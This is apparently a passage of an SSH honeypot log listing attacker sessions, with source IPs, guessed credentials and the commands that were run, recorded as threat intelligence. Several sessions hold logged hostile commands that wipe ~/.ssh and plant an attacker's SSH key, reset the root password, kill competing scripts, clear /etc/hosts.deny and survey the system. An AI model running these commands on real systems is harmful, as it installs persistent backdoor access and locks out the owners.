  "success_credential": {
    "user": "root",
    "pass": "Asd@123321"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}
176.53.159.196
2026-09-20 02:37:12.206818 UTC
SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: support / support

Record ID: 2d71472dcc83
Client Version: SSH-2.0-Go
Engagement Duration: 1.2s
HASSH Fingerprint: eff4c24daffc8532c160e86e5f006e53
{
  "id": "2d71472dcc83",
  "src_ip": "176.53.159.196",
  "start_time": "2026-09-20T02:37:12.206818Z",
  "end_time": "2026-09-20T02:37:13.454795Z",
  "duration": "1.2",
  "version": "SSH-2.0-Go",
  "hassh": "eff4c24daffc8532c160e86e5f006e53",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "support",
    "pass": "support"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}
121.227.152.250
2026-09-20 02:37:02.506422 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: ca

Record ID: ca9f3b5c4f4d
Client Version: SSH-2.0-libssh_0.11.1
Engagement Duration: 2.1s
HASSH Fingerprint: 03a80b21afa810682a776a7d42e5e6fb
{
  "id": "ca9f3b5c4f4d",
  "src_ip": "121.227.152.250",
  "start_time": "2026-09-20T02:37:02.506422Z",
  "end_time": "2026-09-20T02:37:04.591924Z",
  "duration": "2.1",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "03a80b21afa810682a776a7d42e5e6fb",
  "attempts": [
    {
      "user": "ca",
      "pass": "1"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
171.25.158.74
2026-09-20 02:35:05.986423 UTC
SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: ubuntu / 3245gs5662d34

Record ID: 928b4f6818d0
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 1.2s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "928b4f6818d0",
  "src_ip": "171.25.158.74",
  "start_time": "2026-09-20T02:35:05.986423Z",
  "end_time": "2026-09-20T02:35:07.196216Z",
  "duration": "1.2",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "ubuntu",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}
20.96.179.87
2026-09-20 02:35:04.875651 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: odoo8

Record ID: 3bb861c6cce2
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 1.4s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "3bb861c6cce2",
  "src_ip": "20.96.179.87",
  "start_time": "2026-09-20T02:35:04.875651Z",
  "end_time": "2026-09-20T02:35:06.300451Z",
  "duration": "1.4",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "odoo8",
      "pass": "odoo8"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
171.25.158.74
2026-09-20 02:35:03.608217 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: 17055fa9a40d
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 2.2s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "17055fa9a40d",
  "src_ip": "171.25.158.74",
  "start_time": "2026-09-20T02:35:03.608217Z",
  "end_time": "2026-09-20T02:35:05.787899Z",
  "duration": "2.2",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
41.215.133.245
2026-09-20 02:35:01.626403 UTC
SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: bc376c2c85ba
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 1.8s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "bc376c2c85ba",
  "src_ip": "41.215.133.245",
  "start_time": "2026-09-20T02:35:01.626403Z",
  "end_time": "2026-09-20T02:35:03.445215Z",
  "duration": "1.8",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}
171.25.158.74
2026-09-20 02:35:01.214133 UTC
COMMANDS RUN SUCCESSFUL LOGIN SCORE: 80

Credential acceptance event recorded. Target authentication: ubuntu / qazwsx@123

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh
Command not found: lockr -ia .ssh
[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
Record ID: f2b82826fb8d
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 6.0s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "f2b82826fb8d",
  "src_ip": "171.25.158.74",
  "start_time": "2026-09-20T02:35:01.214133Z",
  "end_time": "2026-09-20T02:35:07.199422Z",
  "duration": "6.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "ubuntu",
    "pass": "qazwsx@123"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}
41.215.133.245
2026-09-20 02:34:58.509938 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: bdccc2113e53
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 2.8s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "bdccc2113e53",
  "src_ip": "41.215.133.245",
  "start_time": "2026-09-20T02:34:58.509938Z",
  "end_time": "2026-09-20T02:35:01.332063Z",
  "duration": "2.8",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
41.215.133.245
2026-09-20 02:34:54.704334 UTC
COMMANDS RUN SUCCESSFUL LOGIN SCORE: 80

Credential acceptance event recorded. Target authentication: root / Server12#$

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh
Command not found: lockr -ia .ssh
[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
Record ID: 758a26f19026
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 8.7s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "758a26f19026",
  "src_ip": "41.215.133.245",
  "start_time": "2026-09-20T02:34:54.704334Z",
  "end_time": "2026-09-20T02:35:03.450208Z",
  "duration": "8.7",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "Server12#$"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}
2.57.121.25
2026-09-20 02:34:21.371012 UTC
SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: admin / 27111979

Record ID: 8f1e3c3cb528
Client Version: SSH-2.0-PuTTY_Release_0.84
Engagement Duration: 6.0s
HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9
{
  "id": "8f1e3c3cb528",
  "src_ip": "2.57.121.25",
  "start_time": "2026-09-20T02:34:21.371012Z",
  "end_time": "2026-09-20T02:34:27.393399Z",
  "duration": "6.0",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "27111979"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}
138.124.92.243
2026-09-20 02:31:10.114144 UTC
RECONNAISSANCE COMMANDS RUN SUCCESSFUL LOGIN SCORE: 340

Credential acceptance event recorded. Target authentication: ubuntu / Password123!

Remote entity achieved interactive shell state. Command sequence (20 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh
Command not found: lockr -ia .ssh
[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
[obs-node]:~$ cat /proc/cpuinfo | grep name | wc -l
[obs-node]:~$ echo -e "Password123!\nTcH0nhZiZ8LN\nTcH0nhZiZ8LN"|passwd|bash
[obs-node]:~$ Enter new UNIX password:
Command not found: Enter new UNIX password:
[obs-node]:~$ echo "Password123!\nTcH0nhZiZ8LN\nTcH0nhZiZ8LN\n"|passwd
[obs-node]:~$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
[obs-node]:~$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
[obs-node]:~$ ls -lh $(which ls)
[obs-node]:~$ which ls
[obs-node]:~$ crontab -l
[obs-node]:~$ w
[obs-node]:~$ uname -m
[obs-node]:~$ cat /proc/cpuinfo | grep model | grep name | wc -l
[obs-node]:~$ top
[obs-node]:~$ uname
[obs-node]:~$ uname -a
[obs-node]:~$ whoami
[obs-node]:~$ lscpu | grep Model
[obs-node]:~$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
Record ID: 830e97f70023
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 26.3s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "830e97f70023",
  "src_ip": "138.124.92.243",
  "start_time": "2026-09-20T02:31:10.114144Z",
  "end_time": "2026-09-20T02:31:36.440251Z",
  "duration": "26.3",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "ubuntu",
    "pass": "Password123!"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
    "cat /proc/cpuinfo | grep name | wc -l",
    "echo -e \"Password123!\\nTcH0nhZiZ8LN\\nTcH0nhZiZ8LN\"|passwd|bash",
    "Enter new UNIX password: ",
    "echo \"Password123!\\nTcH0nhZiZ8LN\\nTcH0nhZiZ8LN\\n\"|passwd",
    "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
    "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
    "ls -lh $(which ls)",
    "which ls",
    "crontab -l",
    "w",
    "uname -m",
    "cat /proc/cpuinfo | grep model | grep name | wc -l",
    "top",
    "uname",
    "uname -a",
    "whoami",
    "lscpu | grep Model",
    "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/cpuinfo | grep name | wc -l",
      "failed": false,
      "error": null
    },
    {
      "cmd": "echo -e \"Password123!\\nTcH0nhZiZ8LN\\nTcH0nhZiZ8LN\"|passwd|bash",
      "failed": false,
      "error": null
    },
    {
      "cmd": "Enter new UNIX password: ",
      "failed": true,
      "error": "Command not found: Enter new UNIX password:"
    },
    {
      "cmd": "echo \"Password123!\\nTcH0nhZiZ8LN\\nTcH0nhZiZ8LN\\n\"|passwd",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
      "failed": false,
      "error": null
    },
    {
      "cmd": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
      "failed": false,
      "error": null
    },
    {
      "cmd": "ls -lh $(which ls)",
      "failed": false,
      "error": null
    },
    {
      "cmd": "which ls",
      "failed": false,
      "error": null
    },
    {
      "cmd": "crontab -l",
      "failed": false,
      "error": null
    },
    {
      "cmd": "w",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname -m",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/cpuinfo | grep model | grep name | wc -l",
      "failed": false,
      "error": null
    },
    {
      "cmd": "top",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname -a",
      "failed": false,
      "error": null
    },
    {
      "cmd": "whoami",
      "failed": false,
      "error": null
    },
    {
      "cmd": "lscpu | grep Model",
      "failed": false,
      "error": null
    },
    {
      "cmd": "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh",
    "Enter new UNIX password:"
  ],
  "score": 340,
  "tags": [
    "RECONNAISSANCE",
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}
138.124.92.243
2026-09-20 02:29:02.706426 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: david

Record ID: b909c258b3af
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 2.0s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "b909c258b3af",
  "src_ip": "138.124.92.243",
  "start_time": "2026-09-20T02:29:02.706426Z",
  "end_time": "2026-09-20T02:29:04.686749Z",
  "duration": "2.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "david",
      "pass": "123456"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
213.177.179.79
2026-09-20 02:25:17.209471 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 7c0f3af7a29e
Client Version: SSH-2.0-Go
Engagement Duration: 10.0s
HASSH Fingerprint: 084386fa7ae5039bcf6f07298a05a227
{
  "id": "7c0f3af7a29e",
  "src_ip": "213.177.179.79",
  "start_time": "2026-09-20T02:25:17.209471Z",
  "end_time": "2026-09-20T02:25:27.237682Z",
  "duration": "10.0",
  "version": "SSH-2.0-Go",
  "hassh": "084386fa7ae5039bcf6f07298a05a227",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
138.124.92.243
2026-09-20 02:18:26.707960 UTC
RECONNAISSANCE COMMANDS RUN SUCCESSFUL LOGIN SCORE: 340

Credential acceptance event recorded. Target authentication: root / Lt123456

Remote entity achieved interactive shell state. Command sequence (19 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh
Command not found: lockr -ia .ssh
[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
[obs-node]:~$ cat /proc/cpuinfo | grep name | wc -l
[obs-node]:~$ echo "root:vsXjttbhppd8"|chpasswd|bash
[obs-node]:~$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
[obs-node]:~$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
[obs-node]:~$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
[obs-node]:~$ ls -lh $(which ls)
[obs-node]:~$ which ls
[obs-node]:~$ crontab -l
[obs-node]:~$ w
[obs-node]:~$ uname -m
[obs-node]:~$ cat /proc/cpuinfo | grep model | grep name | wc -l
[obs-node]:~$ top
[obs-node]:~$ uname
[obs-node]:~$ uname -a
[obs-node]:~$ whoami
[obs-node]:~$ lscpu | grep Model
[obs-node]:~$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
Record ID: 2df3c969f906
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 26.3s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "2df3c969f906",
  "src_ip": "138.124.92.243",
  "start_time": "2026-09-20T02:18:26.707960Z",
  "end_time": "2026-09-20T02:18:52.984596Z",
  "duration": "26.3",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "Lt123456"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
